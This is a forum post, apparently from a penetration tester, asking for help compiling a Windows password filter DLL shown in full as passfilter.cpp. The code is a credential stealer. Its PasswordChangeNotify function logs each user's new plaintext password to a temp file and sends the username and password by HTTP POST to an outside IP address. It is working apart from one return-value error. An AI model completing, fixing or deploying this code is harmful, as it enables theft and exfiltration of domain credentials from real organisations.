I have been going over everything that Darren and Mubix talked about in ep1505.2 trying to get the password filters setup for testing. However I cannot for the life of me get the passfilter.cpp to compile in visual studio. I have never dealt with VS before as I come from a Linux background. I did edit the IP address and had to add the required "#include "stdafx.h" line. When I go to build it gives me an error of:
Error 1 error C2561: 'PasswordChangeNotify' : function must return a value c:\users\blah\documents\visual studio 2013\projects\passfilter\passfilter\passfilter.cpp 75 1 passfilter
Below is my passfilter.cpp
// passfilter.cpp : Defines the exported functions for the DLL application.
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "WinInet.h"
#include "ntsecapi.h"
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%s\r\n", szString);
fclose(pFile);
return;
}
// Default DllMain implementation
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
OutputDebugString(L"DllMain");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOLEAN __stdcall InitializeChangeNotify(void)
{
OutputDebugString(L"InitializeChangeNotify");
writeToLog("InitializeChangeNotify()");
return TRUE;
}
BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
//HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"10.0.0.1", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
char* pBuf = "SomeData";
OutputDebugString(L"PasswordChangeNotify");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
fclose(pFile);
InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length / 2);
InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length / 2);
HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));
return 0;
}
The problem is on the
{
return;
}
line towards the bottom. Any thoughts?
